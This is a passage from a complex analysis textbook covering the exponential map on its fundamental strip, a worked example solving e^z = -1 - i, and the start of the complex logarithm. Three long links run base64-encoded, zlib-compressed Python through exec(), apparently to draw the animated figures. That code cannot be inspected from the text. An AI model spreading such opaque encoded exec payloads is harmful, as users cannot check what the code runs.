(iii) Injectivity on Λ: if z1, z2 ∈ Λ and ez1 = ez2 , then by (ii) Im z1 − Im z2 ∈ 2πZ; but both

imaginary parts lie in the half-open interval (−π, π] of length 2π, so the difference is 0, and then
Re z1 = Re z2 by (16.2). Surjectivity onto C \ {0}: given w ̸= 0, put x := ln |w| (real logarithm
of a positive number) and y := Argw ∈ (−π, π]; then z = x + iy ∈ Λ and ez = |w| eiArgw = w
by Theorem 3.7. That ez never takes the value 0 is (16.3). Restricting to the open strip removes
exactly the points with Argw = π, i.e. the negative reals.

(iv) On Im z = b, ez = exeib with ex ranging over (0,∞) as x ranges over R; that is the stated
ray. On Re z = a, ez = eaeit traces the circle of radius ea once as t runs over an interval of length
2π. The rectangle statement follows by combining the two.

x

y

π

−π

fundamental strip Λ

ez

u

v

C \ {0}
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w= (1¡ s) z+ s e z; s= 1:00

every point moves in a straight line from z to e z

A straight line

−4 −3 −2 −1 0 1 2 3

−3

−2

−1

0

1

2

3

w= e sz ¡ 1
s + s; s= 1:00

vertical segments curl into circles jwj= e a,
horizontal lines into rays argw= b

B a path of maps
Figure 16.1 (animated). The exponential ez. A: every point moves in a straight line from z to f(z).
B: vertical segments curl into circles |w| = ea, horizontal lines into rays argw = b. C: the tiles on the
left deform along the path of B.
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4
w= e sz ¡ 1

s + s; s= 1:00

the fundamental strip wraps onto the plane minus 0; rectangles become annular sectors

C tiles (Figure 16.1, continued)

Example 16.4 (Solving ez = w). Solve ez = −1 − i. Here |w| =
√

2 and Argw = −3π
4 (third

quadrant, by Proposition 3.5). By the proof of Theorem 16.3(iii), the solutions are

z = ln
√

2 + i
(
−3π

4 + 2kπ
)
, k ∈ Z.

There are infinitely many, differing by 2πi; exactly one lies in Λ, namely 1
2 ln 2 − 3πi

4 .

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c16_exp_a&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWW1z00gS%2Fq5fMSdIMcrawnJeFhxMHbvLLrklHAUcBWW8rrE0tkVkSdGMEtvA%2FfZ7emZkO06y8OFSFUsa9XT39MvTPSMvkRNWZmLJJ%2Bm0xSaVmEt3US2W5lpWlyJrsfG4WPRfFbkMeh7DXzovi0qztMAroeTxYYvNhS6zQmfpOCyXdMeEAmtt6CdVMWenr5d6VuRhkioS2TB58e7sZYu5QUONWWGcFUqSVoEZcq85EXPf95%2Bk8ylLk75fTka49ZnSy0z2%2FbiuVFH1ysLo7jOdajOcpfE50wUrRa2k%2F9R7ouIqLfVT71JUrJywPrtK86S4Cs39l0mPDYYtdt5jnRar6rzHdFXLbzAJxPZZUsT1XOY6nEr9PJN0%2B8vyNOGNNsGJh0tY5FZun03qPNZpkTMesC%2BQF4Inhv9h707YtxNPSX3q7M2vkWP96YRxR8u%2BfqX55%2Bxpn66TMJP5VM8CVkldV%2FkJUUO0qmJmCQZEPTyxk%2FqMm%2BtPLArY3h7bS048rGovgcZPHjqbwLxsj%2FHdKAgC64qJlAnZ4LpHgrULR3DLO1jLURcVOwcPVol8Kh1TF0U2MjDAz4P1wLgmD6RF%2BMtSS3X6b755hWgIlbiUuHKQtYg5wg5BkE99G6SjNI9nUvXpfjMR78HTRmo4Pj6UeVwkkniQB7G2WvIgCBNphrcEYqlhXSZCS7vOB03cGNOXtZpxH29FL52LqXwIOScuH%2FaUH6wt%2BgD2xDsY8B5r44%2FJPGHFhP2rLrHI6mWqpclCWZnXHjzwbiaZXJRIuVynImP35V%2Br%2B3jLRA5ZJjieMa50JdLpTLezNJdMZWkig9D7Q%2Baygs4JGy%2FZVOYjmqOQljYPVSljejpheQET9xhkFZWcs%2Bg4PAD%2FhAxdVwCCMmSPDhmPZ9FxG8q0s2Iaarno%2FXzUYlH3KDjZntq19AeWvteNAu%2F18vd0yuIiv6RVFJRGWJY1CgP0QGlFwqxQFwktIspZLLJMWWwKwxCrglE8z2FGXs%2BxGgBMXjZDG%2FzxtqAI2c79Z1Ok5E26HZwyttl6GxdZJk0aqgaqXhfZ8tf1sOcRUFXxawHNVRMnX3zwmMFKOpwUuUZa%2Bz3mx3MEqE8D4UTM02xJg0pW6WQ9rtKVxGjU%2FRZ4ZdpisP8pojYvQ3rCBQPRZ8%2FzCLNFNeUrC779tiFxOQUr4Z1BJ8o6ThSWDknfZWU6JDsSpQWM5hV4zIuE44I8zSRfBaxt37VZJNsRvNtl%2B1abgPCDxpwy5RXpIu5QZ7W%2FL4Cuemacv1ZOi3N4%2BTsq2vWLsYI%2BZsTwIVtUldJk7iS9RND3%2FXSaIxB9givkM1UGN7KFNW7FmH41k5XkFXtK%2BE7sFiUXWB6tH0HOd0kqmD4wy%2F4Mqi3jAxRbrBM4Q2R3O4XWDs6iwgLmt5jjh3y10c6a5FaNnC7zYszPWmzlVODkHujKYwB1ALue%2Fd%2FsaSy3girjgD2EAPeUrDUpiytSRW2scba%2Fr0xpEBQCl7LS6TiTrLvoUgZW6aJH4McVmYydQW2Byg1NgZlnxTitFchK5doKqutnjaXOXMhUFYADQhO9LGU%2FLuZlJl1FIJIzaAoydVFp4%2FM0F9kUBUDzM1fmMjFvsfeWm3stUXfO7FtUZHIBiAadIVKEbqJhgGhBYjy%2BYaL37J%2FEJ0mF8Z5d237jT0xGHFkSJwpG4e%2BdItDByfnu3z2YqRLjAm1Hz6wzY%2FwUvngFE75ieZqVQPzc9mSvnBkyqE86LSXvBjvRtqsotLRJYqnBmd6%2Bajwd15qXLfZm4%2BhxJcU5vIe%2B7FIynubAPM2mcF7ATIaxVLNMoqgrkw%2FoIWLyciUS8vIbhhj5DLBXTMRVoYDEuvF0ue3p8lZPjwV1Kv8FVapQbFBmeRmwr6zJoJIc9sbSkhTLsRoNfhcZpaIjM56bTEBu6GGzg6FVYUASvpq5Qzs5F%2Fm2DUtnGSWnXFmMvI4JZVVMK4mF8Q7FMdoyrF6gnUU%2FAYsITe2ngq1S5Idi00K6sBdEPt4BiHma87lYcDgNnYJJx7G5A0iFHfxG4RqsJllaEmhomK5%2FiPGNXsTKKJcJtBUF8hPRXtTaDMKjGROLFMvJ0nNpUnMKYylp8byUFXUYOiWH637UAxq0n1IX8Blo1Ci8hLlWIbVN2%2FrzVWjYO1hb2tCLC%2BODMsWjNiGY0MoSkDkKhXVvUbgVUhLRAjcrq0iTan%2BfR%2B2uDpjICnSGUsQzBNwS3Uk%2FYqkNRINKitqs1cOvq69%2FdWlp9KJGGLE4reJM3kRnC8tsH0kSwe5do45VkVLJLGqrxG67YrmtquN43Ro3LEFAa03o6jDaE15qOKa%2BHmTjqqBia5pEPauKejpjho7QYi4BuMo2izWtctBpRevKAzKXZ8plGs27JdfO11CpShFLjqoZIUJkTjOCXWAxm4qS19hjtUiGWWiwtdIbBLROspek8mgQcZwIdokdWngEU9PvDRNdBt7bX188%2Fw30A8T%2FEENRB0KyVGlOjPhNjY86gamrg8hNOL5zAqg7boLnvdgoBUeiqzYRoAJXDVUDnAgDcvwbkB9Bp7tw3AAmUA8ICVRlY7ks0CPrGcLTYqP38vTs9N1bsKF9uff2P7%2Fg9oFE1C6Z2f6iAyAOcCjBid0n2BAw%2BHEf2wkgiNlXPPDenb57%2BZwY3L%2FqIzlU8OlTa%2FWTwq%2F868vqW%2BvTp4saUKf6e2F3Avo%2F3pz%2B9ufpq99ajO6evfmDFHkQi0o%2FQI%2FRjsIjY8z2QRgdRkePu8dHB0ePHv%2F8%2BKDFbhk6brHHgffs%2Fb9PjauG3vMP7948e2vvcffrn80yvfrWMDvoYLfx8vTVczuH%2FUil5MZKiq14DWBEt1%2FUFXYJE9asjfX7aNyxJN8m0wKyFhC2xHWJa77AP%2BFYY4L1hjcmq29r2UzNF1vtk9E3FGWJ3SBH2%2BSCny8pRPmSwmfZofgh%2FXwtxr0xNqp%2BENwtZ63a8k450IXYL4j9wrFvRMdOTiUTEiOzXWsAYUSFTcrtIWtAUTHSskWAilCViU186qFJLzTSGvea7vVtpqt2l7SZeueSqh2E5dosUdMStVviXSbUu%2FI26rVom26CpN%2FwYk82uyADOoi7uy1dGTUqmlo1lr6uqQ52La5kj%2F3g3z3mW5SAQ4SBKOodOJhTQ0GlC0urN6G91pByhEs6aPIdYtXYjUJXYHmTDIGxjlyYB2LUeGq4yTOqWLElpDuisu8QNjltrPMlQd7cFmdTG2GKC8DrE9Mmm5kXNM2kfuDy%2Fu%2FUu103CxdDz3s7ev6aVAP3Y%2B%2BF2oXkF6Qx9UcoYYZ00yrQ%2BQ29VdcrMHW0L5R9QY0tyNcVER1NjC1TTtumwRaDxiCjjUFoRO1GmoWu6CAYerf6FzXIcp0apzjGU8fYmuo7jAOnLX4H17pglOQhYZ0tInbJHzDvAyZ%2BxPVjhFn2pQ3K2ymaym18HLS2nmHkYFO4t9%2FbZ3pveM7ABsWbqjcNfqBs%2BWD5tyEouB7xKGUoRCiK42KB4ljUKIqm5qEy5raVjCkuCJb5B8q%2FDxG1wV1UpY%2F0%2BNE%2B3r6ceAGZsxZdfzLXpXte0rPn0VFV3xxP2xMyOp%2BmY5s%2BRwU7Do8RTmJBx73pNBRJMhILqTh1Ho9M%2F31Ev4%2FM%2FaPOkGhDJfVokaVzbnUJTpgbXNKgVWwzKExjzX0JG2TYm4vkc42dwpiOuGEQ37AUixlVeYoCyvyq70NcF9TZVR93lptYXP4tETHSaXw%2BMh0ibXTHCANaKgr1jfi20XFBFkS%2BrFrNngpM6DSNX5igaLEL4%2FxtkY%2B2RLqWB9nfzKMzePq39LEhjcJuQHthUmK0jTpDTy7Q5nyXAUIhU32%2F7RNMmencP6dTuHEm4nM%2FYBTvzG%2B3%2FRtyTM4NvaRAbeizXSF%2B4a%2BXRgznqn8cePqqAK3%2FKfeJA9o0z3yTcFFC54S8E5rIeIwkgEo0waiAkUO88MFqJvp%2BLM0nDTr1RttCrogOA%2B8Gk84NJhR3kLvD5XLzcG2CT4dIFBt%2BawNLG5Gda8SRkbp258ERuZNOdYFDyEc462i9x3HHuzZWyEumNR%2Bcsz2zSzBPDgrJ5hRGo8AZfoWtqnFyyzXGW0WXdu1b6Lsej03K0Ok8L138lW4XsZYx3ZFhHIy6bwLpVhkNFv%2BoGFjLNrBo3KkmUhd7ne8Ls1%2Bxm6uBoR0aCQi%2BNR0ibiNmYOVQ1FlJQyvKxJUhMwFhW%2Fo90pWQ3qejdBOD06wYi0zxoNecGVUFHfqZHSBtF%2B2xPWQk2PjDTG54%2B2sFnHzuvtXd%2BvGwv3Hp5gtS%2F%2BfO37c494gdNLQfCu3XgrJQmN1sy6l%2BqRlUnYuScYqiKFh%2FM2yO4gd%2BmUzM6TttU306mTnsepuvTWYPeGR%2BXCxsfVgajSZpJkejsFJllgJsH%2Fp0%2BDtoR0OYHfqhwPphuSTE8Klz9kdWxRBCgcD%2FAziQZwQ%3D%27%29%29.decode%28%29%0Aexec%28src%29
https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c16_exp_b&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWW1z00gS%2Fq5fMSdIMcrawnJeFhxEHeyyS24JRwFHQSXGNZbGtogsiRk5sU24335Pz4xsx0kWPhxVRNJMT3dPvzzdM%2FZSOWJVLhZ8lI1bbKTEVLqHbrGsqKW6EHmLDYflPH5dFjLoeQz%2FsmlVqpplJaaElof7LTYVdZWXdZ4Nw2pBb0xosK4N%2FUiVU3b8ZlFPyiJMM00iGyYv35%2B8ajE3aKixKkzyUkvSKjBDbpoTMfd9%2F0k2HbMsjf1qNMCrz3S9yGXsJzOlS9WrSqO7z%2BqsNsN5lpyzumSVmGnpP%2FWe6ERlVf3UuxCKVSMWs8usSMvL0Lx%2FG%2FXYab%2FFznus02JqVvRYrWbyO0wCsTFLy2Q2lUUdjmX9Ipf0%2BnxxnPJGm%2BDIwyMsCys3ZqNZkdRZWTAesG%2BQF4Inhv9h347Y9yNPy%2FrY2ZtfI8f%2BsxHjjpZdXdH6c%2FY0pucozGUxricBU7KeqeKIqCFaq4RZglOi7h%2FZRTHj5vkLiwK2s8N20iMPu9pJofGTh84mMC%2FbYXw7CoLAumIkZUo2uO6RYOXCAdzyHtZy1KVi5%2BDBlCjG0jF1UWQjAwP8PFgNDGfkgawMny9qqY%2F%2FzddTiIZQiwuJJwdZi5gj7BAExdi3QTrIimQidUzv64WYB08bqeHwcF8WSZlK4kEexN5mkgdBmEozvCEQWw1nVSpqaff5oIkbY%2Fpqpifcx6zoZVMxlg8h58jlw472g5VFH8CemIMB77E2%2FjFZpKwcsX%2FNKmxSvcpqabJQKjPtwQPvJ5LJeYWUK%2BpM5Oy%2B%2FLy8j1kmCsgywfEczhT1hBhNRaWD0PtTFlJB2ZQNF2wsiwERa%2BSjTUBdyYS%2BjlhRwrY9BiGlklMWHYZ7YJyShWcKCFCF7NE%2B48kkOmxDi3ZejsNaznu%2FHrRY1D0IjjaXdi39nqXvdaPAe7P4IxuzpCwuSP2S8gf7sdZgwJyskJqEWaEuBFpEVLBE5Lm2oBSGIXYFa3ieA4tiNsVugCxF1QytgcfbwCCkOfefjZGLN%2Bm2AMrYZmM2KfNcmvzTDUa9KfPFb6thzyOEUskbAc11EyDffPCYwEp1OCqLGvns95ifTBGZPg2EIzHN8gUNaqmy0WpcZ0uJ0aj7PfCqrMVg%2F2OEa1GF9IUHBqIvnucRWAs15kuLunHbkLhkgpUwZ2CJ0o0ThaVDtndZlfXJjkRpkaKZAo9pmXI8kKC55MuAte1cm0WyHcG7XbZrtQkIOGjMKVNdki7iDnWWu7sCsIoIJeevlKvFObz8AxXt%2FsVQQx8zYviQLZTSNZk7zS6yFNCejQsEok84hUSmkuBGNkDG7RjLLydSSa7YUwJ2YjevuMD2aP8Icr5NomD6wGz7C6g2jA80bLFO4AyR3%2B0U2js4C4UNTG8xx0%2F5aq2dNcmtGjldpuWQn7TY0qnAyT3QlSdA6AB2Pfm%2F2dNYbglVhgF7CAHuK11pUpWXpIpeW%2BNkd1ebmiAoBC6kqrNhLll33qUMVNm8R6jHNZmMnUBtwRqMOymH2UwbqHP9BBX0k8ZSJy5klAJwQGhaLyoZJ%2BW0yqUrBURyAk1Bpr%2Bq2vg8K0Q%2BBvLX%2FMTVt1xMW%2ByD5eamJQrOiZ1FKSYXgOi000eK0EvUDxAtSIzHN0z0gf2T%2BKSZMN6ze9tt%2FInFiCNL4kTBKPyDUwQ6ODk%2F%2FHcPZlJiWKLf6Jl95owfwxevYcLXrMjyCohf2GbstTNDDvVJp4Xk3WAr2rYVhZY2SSw1ONPs68bTyazmVYu9XTt6qKQ4h%2FfQkF1IxrMCmFezMdUpZjKMZTXLJaq5NvmA5iEhLyuRkpffMsTIF4C9ZiJRpQYS142nq01PV7d6eiioRfkvqDKNYoP6yquAXbEmgypy2FtLS1IsRzU4%2FUPklIqOzHhuNAK5oYfN9vpWhVOScGXW9u3iQhSbNqycZbQcc20x8jomVKocK4mN8Q7FMfox7F6gj0UjAYuImvpODVtlyA%2FNxqV0YS%2BIfLgFENOs4FMx53AaWgSTjkPzBpAKO%2FgbhSuwGuVZRaBRw3TxPsbXehEro1wuCslK5CeivZzVZhAezZmYZ9hOnp1Lk5pjGEtLi%2BeVVNRh1Bk5vI6jHtCg%2FZS6gC9Ao0bhBcy1DKlf2tSfL0PD3sHawoZeUhofVBk%2BaxOCKe0sBZmj0Nj3BoXbISURbXC9M0WaqN1dHrW7dcBEXqIllCKZIOAW6E7iiGU2EA0qaeqvlg%2Bvllefu7Q1mpghjFiSqSSXN9HZwjLbRZJEsHvXqGNVpFQym9oosZuuWGyq6jhet8YNSxDQWhO6Ooz2hFc1HDO7HmRDVVKxBbZQTKlyNp4wQ0doMZUAXG2bxRnt8rTTilaVB2Quz7TLNFp3S66dr6BSVyKRHFUzQoTIglYE28BiThMVn%2BFw1SIZZqPBxk5vENA%2ByV6SyqNBxGEq2AWOZuEBTE1%2Fb5joIvDe%2Ffbyxe%2BgP0X89zEUdSAkz3TNiRG%2FqfFBJzB19TRyCw7vXADqjlvgeS%2FXSsGR6KpXQL%2B7DNpR8FATWnpvQXYAXe7CbwOUQDsgI9CUDeWiRG9cTxCWFhO9V8cnx%2B%2FfgQ0dxL13%2F3mO1wemhKJlJqChfkITo5wObaULVs3uX11exfKzuN86KyalypboOrEiN124oYR%2FQXZ2hnaCXcbD%2Bw%2B898fvX70gAfcv47MztOjJN%2Fn5m15%2Bb0ffv%2Bnvv%2BjW2dnXGUBQxzthd4QVf749%2Fv2v49e%2Ftxi9PXv7J6n6IBGqfoDuox2FB8bM7b0w2o8OHncPD%2FYOHj3%2B9fFei90ydNhijwPv2Yd%2FHxsn9r0XH9%2B%2FffbOvuPtt78aQ3izWwNwr4NzyKvj1y%2FsGvYzNZSbewPNlnwGyMQ5oJwpnB9GrNkbi2O09NiSb9NsDllzCFvgucCzmOM%2FIVxjgtUZOKEE29SyWVrMNxoro28oqgoHRI6GyqUFX1Dw8gVBy6JD6U%2F6%2BbUY9oY4u%2FpBcLeclWqLO%2BVAF2I%2FJ%2FZzx74RnTg5SqYkRubb1gD2CIXjy%2B1B7SKQtGzZKAMjCwnUXZNeaLFrvNf0Xt9mOrW9pfXSO7ektrCX12aLNW2xdlu8y4T1try1ei06uZsgiRte7Mn6fGTgCHF3t6WVUUPRUtVY%2BrqmdbBtcS177Cf%2F3WO%2BxRE4RBjwoq6Cgzm1GlTUsLXZOrRXGlKOcEl3T77DshnOqdAVKN8kQ2CsI%2Bfmgxg1nuqv84xqWWIJ6Y2o7BzCpqAjd7EgeJzasm2qJkzxFcD7xDTQZuVXWmZSP3B5%2F3fq3a6bhYu%2B570bvHhDqoH7ofdSb4P1S9KYOicUN0O6biLoSodm9fXaTL3uS20nqOUF%2BapWotdJcJgq6EB1usGgMchgbRAa0duRZqEr2gv63q3%2BRXWyXMfGKY7x2DG2pvoB48Bpi7%2Bn1%2FpjFOs%2BYZ0tM3bLH7HuIxZ%2BwvNThFV20gbl7RRNTTc%2BDlob3zBysC7pm%2FP2m%2BYNzwnYoKxTXafBj5QtHy3%2FNgQF1yMePTMKEcrmsJyjfJYzlE2JsrhA7Sxsk5lQXBAs84%2BUfx8japC7qEqf6POT%2Fbx9O8kcMictev5ingv3vaBvz6NLrNjcWNu7M7qypgudmKOCHYaHCCcxpxvgbByKNB2IudScepJHpjM%2FoL%2BPzPujTp9oQy3rwTzPptzqEhwxN7igQavYelCYlpv7EjbIcWoX6ZcZzhBDuvWGQXzDUswnVOwpCijzVexDXBfU%2BWWMN8tNzC%2F%2BlogYodU4H5jekY7AQ4QBbRWF%2BkZ82%2Bj4ShZEvixbzWkLTOiejX81QdFiX43zN0U%2B2hDpmiJkf7OOruXpv6VPDGkUdgM6JZMSg03U6XtyXivxQwYIhVzHftsnmDLLuX9O93PDXCTnfsAo3pnfbvs35Jic63tpidoQs20hfumvtkYMpzo%2BDLz6sgStf1b4xAGNnGd%2BpnBRQjeIvBOayHiMJIBKtMCogJF9TPhgNRGxn0jzKwddhKNtIVdE%2B4F3g0nnBhOKO8jd4nKx%2Fri2wKfrJYoNv7WGpbXIzjXiyEhduXPvgNxJnSZwCPkIZx2sTj%2Fu4tfGCnnJNO2n52zHnB%2FMl4NCsjmF0SBwhl%2FiEGuc3HKt80bRpfP8BvquxhOTMnRhzysXf5U7X6xkjLdkGAej7ptAulVGg8U%2FKwbWsg0sWnuqidTFXuf70pxk7LHr1ND2jQQE34oOEbcWc2rlUNRZSX0rysSVITMBYZv6HdKVkN6nS3YTg%2BO8HIpc86DX3Capkq4DzdmQDpL2Qh8yUqnoasYNb%2F6AASefu5%2Fvbv09MV67dP2jUvxr5%2B9bnHvEDhra3w7t7whVqbG6ObBT%2FdITqDoVFeMURVGw%2BhmxuaQ%2F9at0ZO7l6QDr053Nftdb%2FwBlTocH5o%2BLhY3fmgaDUZbLwSBUusozgO1Dn66FT9tRH2aHfiiwflgtCDF86pz9gVUxhFAg8P8ASoRxyw%3D%3D%27%29%29.decode%28%29%0Aexec%28src%29
https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c16_exp_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWVt32zYSfuevwDL2BnQpRpQvSewoZ9s0bbxrpz6JtyeJoupAJCQhpkiWgGxRSfa37zcAdbHsbPOwfjApYDAzmMs3A9BL5YiVmaj5SI1DNqrEVDYPHTKVG1ldiyxkw2Ex774uchkcewx%2FaloWlWGqwJTQ8uggZFNhyqwwmRpGZU1vTGiwNpZ%2BVBVTdnpRm0mRR6nSJHLJ5NXl%2BVnImkFLjVVRkhVaklaBHWqmORFz3%2FefqemYqbTrl6MBXn2mTZ3Jrp%2FMKl1Ux2VhdfeZUcYOZyq5YqZgpZhp6T%2F3numkUqV57l2LipUj1mU3Kk%2BLm8i%2Bfx4ds14%2FZFfHrB2yapYfM1PN5FeYBGK7LC2S2VTmJhpL8zKT9PpTfZrypTbBiYdHVORObpeNZnliVJEzHrDPkBeBJ4b%2F5t5O2NcTT0tz2tib3yLH%2FtWI8YaWfflC66%2FY8y49R1Em87GZBKySZlblJ0QN0bpKmCPoEXX%2FxC3qMm6fP7A4YLu7bDc98bCr3RQaP3vU2ATmZbuMb0dBEDhXjKRMyQa3PRKsXDiAWy5hrYa6qNgVeLBK5GPZMG2iyEUGBvhVsBoYzsgDqoh%2Bqo3Up7%2Fx9RSiIdLiWuLJQRYSc4QdgiAf%2By5IBypPJlJ36X29EPPg6SI1Gh4dyDwpUkk8yIPY20zyIIhSaYc3BGKr0axMhZFunw%2BXcWNNX870hPuYFcdqKsbyEeScNPmwq%2F1gZdGHsCfmYMAHrIU%2FJvOUFSP2z1mJTVZnykibhbKy0x48cDmRTM5LpFxulMjYjvxjsYNZJnLIssHxgnGjMlgz8n6VuaygZcqGNRvLfEBUGonoMk%2BXMqFfJywvYNRjBu5FJacsPor2wTEl084qpH4ZsScHjCeT%2BKgF8a2sGEdGzo8fH4Ys7hwGJ5tLO45%2B39Efd%2BLAu6h%2FUWOWFPk16V1Q4mAjzgwMYKNyqUmYE9r4PiSinCUiy7RDoyiKsCuYwfMalMhnU%2BwGkJKXy6E14ngb4IP85v6PYyThXbotZLK22ZhNiiyTNvH0Epwuiqx%2BsRr2PIKmKrkQ0FwvI%2BOzDx4TWMlEoyI3SGT%2FmPnJFCHp00A0ElOV1TSoZaVGq3GtFhKjcedr4JUqZLD%2FKeI0LyP6hQcG4k%2Be5xFKi2rMFw5uuy1L0mQRrIQ5i0eUZ5woHB3SvMNK1Sc7EqWDiOUUeEyLlOOBzMwkXwSs5eZaLJatGN7tsD2nTUCIQWONMuUN6SK%2Boc5ib08AT83EOn%2BlnBFX8PJfqOj2L4Ya%2BtgRy4dsUVXakLlTda1SYLoa5whEnwAKGUy1oBnZQJdmx1h%2BM5GV5BV7TohO7OYlF9ge7R9BzrdJKpg%2BsNv%2BBKoN4wMGQ9YOGkNk33YK7R2cRYUNTO8xx3f5aq2dM8m9GjW6TIshPw%2FZolGBk3ugK08AzQHsev5%2Fs6e13AKqDAP2CAKaX%2BlKk7K4IVX02hrne3vaFgNBIXAtK6OGmWSdeYcysFLzY4I7rslk7BxqC9RqaAqUPC%2BGaqZBVuqmkaBKfr601HkTMlUF4IDQ1NSl7CbFtMxkUwOI5Byagkz%2FWRnrc5WLbAzIN%2Fy8KWyZmIbsd8etmZaoNOduFjWYXACiXruPFKGXuB8gWpAYT%2B%2BY6Hf2D%2BKTKmG95%2Fa2t%2FQnFiOOHEkjCkbhvzeKQIdGzl%2F%2BPYCZKjEs0Ggc231mjJ%2FCF69hwtcsV1kJxM9dF%2Fa6MUMG9UmnWvJOsBVt24pCS5ckjhqcafb10tPJzPAyZG%2FWjh5WUlzBe%2BjEriXjKgfmGTaG8wJmM4wpwzKJMq5tPqBrSMjLlUjJy28YYuQTwF4zkVSFBhKbpafLTU%2BX93p6KKg3%2BQ%2BolEaxQWHlZcC%2BsGUGleSwN46WpDiO1aD3i8goFRsy67nRCOSWHjbb7zsVeiThi13bd4tzkW%2FasGwso%2BWYa4eRtzGhrIpxJbEx3qY4RiOG3Qs0sOggYBFhqOHUsBVqO4w9LmQT9oLIh1sAMVU5n4o5h9PQG9h0HNo3gFTUxv84WoHVKFMlgYaB6boHGF%2FrRayscpnIJSuQn4j2YmbsIDyaMTFX2E6mrqRNzTGMpaXD81JW1GEYRQ433fgYaNB6Tl3AJ6DRUuEa5lpE1Cht6s8XkWXfwFrtQi8prA9KhZ%2FGhmBKO0tB1lBo7HuDotkhJRFtcL2zijSp9vZ43OqYgImsQC8oRTJBwNXoTroxUy4QLSppaqwWj74svvzRoa3RxAxhxBJVJZm8i84OltkekiSG3TtWHacipZLd1EaJ3XRFvalqw%2FG2Ne5YgoDWmbCpw2hPeGngmNntIBtWBRVbYAvFVFXMxhNm6QgtphKAq12zOKNd9tphvKo8IGvyTDeZRuvuybWrFVTqUiSSo2rGiBCZ04pgG1jsMaLkM5yqQpJhNxps7PQOAe2T7CWpPFpEHKaCXeNMFh3C1PT%2FjomuA%2B%2Fti1cvfwZ9D%2FHfx1DchpBMacOJEb%2Br8WE7sHW1FzcLjr65ANTtZoHnvVorBUeiq14B%2Fd4iaMXBI01o6b0B2SF0%2BRZ%2BW6AE2gEZgaZsKOsCvbGZICwdJnpnp%2Benl2%2FBhk7g3tt%2F%2F4TXh%2BRlnBNTQc0EQkbDpyW7qahKorksNtIZGAFk3WnvnMAfibGxqCEI3kQy5%2FkswyFYY6ao9EPv8vTy7CVJ2LnpfvyIHj35LP%2F4rBdfW%2FHXz%2FrrDzr8%2BPHPGVBQd3ejzmiHVpy9%2FNfp659DRm8%2FvvmVdH2YiMo8RPvRiq2VW%2FtRfBAfPu0cHe4fPnn6%2BOl%2ByO4ZOgjZk8B7dXp2eklK9GKMdTp9z3s7eHlBfFFtj7xXetv2ryiZCAgRq5YUHiIGcduT8t5AfRnSMczeFHQt%2Bgfe5RmJ7Huo9cs9sW4XvTy24rv8mmPxHKtrPGs8c0jFouXGLc1kHrIJwR2fEybM2wTLIOQ1%2Faztz%2BnqdPxpfTqebh6MMaXWU%2FnGFP1RXYGEOQU3BT7JrOkHZdOkvkV7eRaJssRmuc2WPEHbl1Pr1xNYMJljhZTLTBxS62VHmwHUkx9oO0QUhB77rr8VY4uKWLjFLXBStgQsiYM%2BvCfhkgYbqR93tjZ4NfF9NkfDPjFk84qYVCubG%2Fpp%2Fp82r1Y2r0ihpc3Nd9qcW9tUzp5blcL2625%2Be8pZybhl3%2B2HtbCVbe%2FnG1iPfEvkarH1zMWPFiB6%2FoN0JJ%2BMDulA%2B2B0JPfTfb%2FvvfjNZhER9bgi6wRsl3X6dw1%2F1959z94XhSyh0QXaFYcEIQmTj49Gh7EV1hFP0ycjv984CCJ7V9SOJcvma1LcoAwFx%2Bx7Omh7i%2BJar1KgMcsl8FDltn%2BsLTBPVJrKfLv0Zxm%2F3WgG9lqDDtYAolXHGbBn7A0UA33Tb96Kh1eaGzoqWWvYYyFgiN41vd%2FFrTiGE5bM6NHbVIIGAvb3VcPrfkOBwMKaKyXOau%2FA7x0YvsfzfQxmbnIj8e5QEDdbuCPqOylk1gPY8nKAKvctCjdAFJavvURFSaQCTqPvKLzeOSEtSAvul%2F6ujdnpmEYRVvTyfjny3o14H%2B4a%2BPIs8BYE2wvC7QUB96Imdh9u7eTDrW18uLWHD5sbmC5uK7%2BwIO8kWICHCHQHdMnVtVfZ7m6N7rLpwqfLY2ohogMkkpgTL7rWFGk6EHOpOXUth7Z3f0L%2F9w%2Fo%2F%2BMOeXx%2Bcw%2FxwQbxYWeDeBFpaQbzTE2hoTXTwpqA7LQITtiSorYU9YqibihI3pqF84VddrNe5jwT2KQV9kIDXEOiaRJTWFphTwfcl2gbMuSvSD%2FNcNwZ0s38sJj7xDYyKrka2O6UDtlDBCEZ62nQ8BHzCTWzlANJkRVV129HTzpglt108WZZiPn1%2F6SxViHjrS%2F6%2BO0LPk65lAx6xgYD0N06vr%2BZmv2QjZCMVoDuAnm%2BB4plOl6u8HGwM3TNQqreqNRMtFVu7TP7zYJX%2Fs5ip2UbOJ9uunNjDRLvB56hQNhWHHp9hxTr1S0TmBuwJJmU4I17nQ7%2BtmSKPrro5Ag2irWnHTzQkKL2iq6fSPvRJWTXmz%2FWDGK6RPE%2F5j5ZktpYQhrgGfFaOWy%2FUZogT%2BXjLmZXh6bmvtjFFrWAttfvXaG%2B0LHD%2FgrcQf2CatB90Oqmr6Qk%2BOwpV4Nw4KBZmc%2Bm9h6dXwSk67KMuDXGmYburvQyUC56qt%2FEin1dh4utaySmH2yuXscO71HZUt%2BgJvs7T5C5XU%2B%2Bi614hOI%2BXZJbK46zYojelTeV7gHdLtB1nj3b0QnAXchDwxRHeghqhje%2FPMDaV813t3s%2FBHbXtl1%2FDeo%2Bbjct2rcvpjIBDd1HP%2FcdoCw0Vi8P3FSx9ASqTkXJOLkzDlbf%2F5aX7D2%2FTEf2Xp0OoD4V%2BYOOt%2F5yZE93h%2FZf88Fp4yPRYDBCaR8MokqXmQICPfLpWrfXislp0A9F1Y%2FKmnoKn1pUf%2BBUjCDUD7z%2FAsYYYUQ%3D%27%29%29.decode%28%29%0Aexec%28src%29
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16.2 The complex logarithm
Definition 16.5 (Logarithm). For z ∈ C \ {0} define the set

log z := {w ∈ C : ew = z } =
{

